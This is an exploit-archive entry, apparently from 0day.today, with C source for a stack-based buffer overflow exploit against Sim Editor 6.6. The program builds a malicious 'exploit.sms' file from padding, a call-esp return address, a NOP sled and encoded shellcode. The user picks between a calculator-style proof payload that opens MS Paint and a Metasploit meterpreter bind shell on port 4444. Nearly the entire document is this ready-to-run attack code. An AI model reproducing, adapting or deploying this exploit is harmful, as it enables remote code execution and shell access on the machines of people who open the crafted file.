Sim Editor 6.6 Buffer Overflow Exploit

2015-01-17T00:00:00
ID 1337DAY-ID-23133
Type zdt
Reporter Osanda Malith
Modified 2015-01-17T00:00:00

Description

Sim Editor version 6.6 stack-based buffer overflow exploit.

                                        
                                            #include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define SIZE 65536  

/*
 * Title: Sim Editor v6.6 Stack Based Buffer Overflow
 * Version: 6.6
 * Tested on: Windows XP sp2 en, Windows 8 64-bit
 * Date: 16-01-2015
 * Author: Osanda Malith Jayathissa
 * Website: OsandaMalith.wordpress.com
 */


void add(int count, unsigned char* dest, unsigned char *src);
int menu();
void banner();

int main()
{
    banner();
    int i = menu();
    unsigned char *buff, *nops;
    FILE *outfile;    
   
    buff = (unsigned char*) malloc (SIZE);
    nops = (unsigned char*) malloc (SIZE);
    if (!buff) exit (1);

    buff[0] = nops[0] = 0; 
    add(405, buff, "41");
    add(16, nops, "90");

    unsigned char ret[] = "D3804200"; /* 0x4280D3  call esp */
            
    outfile = fopen("exploit.sms", "w");

    if (!outfile) printf("%s\n","Could not open file");   
    
    fputs(buff,   outfile);
    fputs(ret,    outfile);
    fputs(nops,   outfile);
    
    if(i == 1) {
  unsigned char shell[] = "ba516a43ddd9e9d97424f45e33c9b1"
        "3231561503561583eefce2a496ab54"
        "46672c07cf821d15abc70ca9b88abc"
        "42ec3e36263830ff8d1e7f00209ed3"
        "c222622e17855be16ac49c1c849475"
        "6a3709f22e8428d424b45251fa41e9"
        "582bf96612d3712082e25632feadd3"
        "81752c32d8761e7ab749ae77c98e09"
        "68bce46915c73f13c142ddb382f505"
        "454663ce4923e7884db224a36a3fcb"
        "63fb7be8a7a7d891fe0d8eaee0ea6f"
        "0b6b187b2d36777abf4d3e7cbf4d11"
        "158ec6fe620f0dbb9d450fea3500da"
        "ae5bb331ec6530b38d9128b688deee"
        "2be14f9b4b566f8e262bff50d1a58b"
        "92"; fputs(shell,  outfile);}

  else if(i == 2) {
  /* msfpayload windows/meterpreter/bind_tcp EXITFUNC=thread LPORT=4444 R | msfencode -a x86 -t c */
  unsigned char shell[] = "bb3ff8edc8dbc6d97424f45f2bc9b1"
        "4a83effc315f11035f11e2ca04054e"
        "34f5d62fbd10e77dd9515ab2aa3457"
        "39feacec4fd6c345e500ed56cb8ca1"
        "954d70b8c9ad49731caf8e6eeffd47"
        "e44212ecb85e99be2ce77e744cc6d0"
        "0317c8d3c02341cc050f1b67fdfb9a"
        "a1cc04ad8d823a0100db7ba6fbae77"
        "d486a843a65c3d560016e5b2b0fb73"
        "30beb0f01ea347d514dfccd8fa6996"
        "fede324c9f479f23a098479b04d26a"
        "c831b9e23d7342f3290431c1f6bedd"
        "697e18198d55dcb570561c9fb6024c"
        "b71f2b07479ffe87170f5167c8ef01"
        "0f02e07e2f2d2a179e098670e2ad38"
        "dd6b4b50cd3dc3cd2f1adc6a4f4970"
        "22c7c69ef4e8d7b45644705f2d8645"
        "7e3283ee17a5597e55575dab0f97cb"
        "5786c06355ff272ca62a3ce532952b"
        "0ad215ac5cb815c4389845f14635fa"
        "aad2b5ab1f74dd5179b242a9ac42bf"
        "7c89c0c90af908";
        fputs(shell,  outfile); 
        puts("[*] Connect on port 4444");}
  else { puts("[-] Enter a valid input"); exit(-1); }    

    fclose(outfile);
    free(buff);
    printf("%s","[+] Successfully to written to \"exploit.sms\""); 
    
    return 0;
}

void add(int count, unsigned char* dest, unsigned char *src) {
    int i;
    for (i=0; i<count; i++) strcat(dest, src); 
}

int menu() {
  int i;
  puts("\b[?] Choose an Option: ");
  puts("1. MS Paint");
  puts("2. Bind Shell");
  scanf("%i", &i);
  return i;
}

void 
banner() {
    static const char banner[] =                                                                                                
                " _____ _          _____   _ _ _           \n"
                "|   __|_|_____   |   __|_| |_| |_ ___ ___ \n"
                "|__   | |     |  |   __| . | |  _| . |  _|\n"
                "|_____|_|_|_|_|  |_____|___|_|_| |___|_|\n"
                "\n[~] Sim Editor v6.6 Stack Based Buffer Overflow\n"
                "[~] Author: Osanda Malith Jayathissa\n"
                "[~] Website: OsandaMalith.wordpress.com\n\n";  
                                           
    fwrite(banner, sizeof(char), sizeof(banner) , stdout);
}

#  0day.today [2018-04-05]  #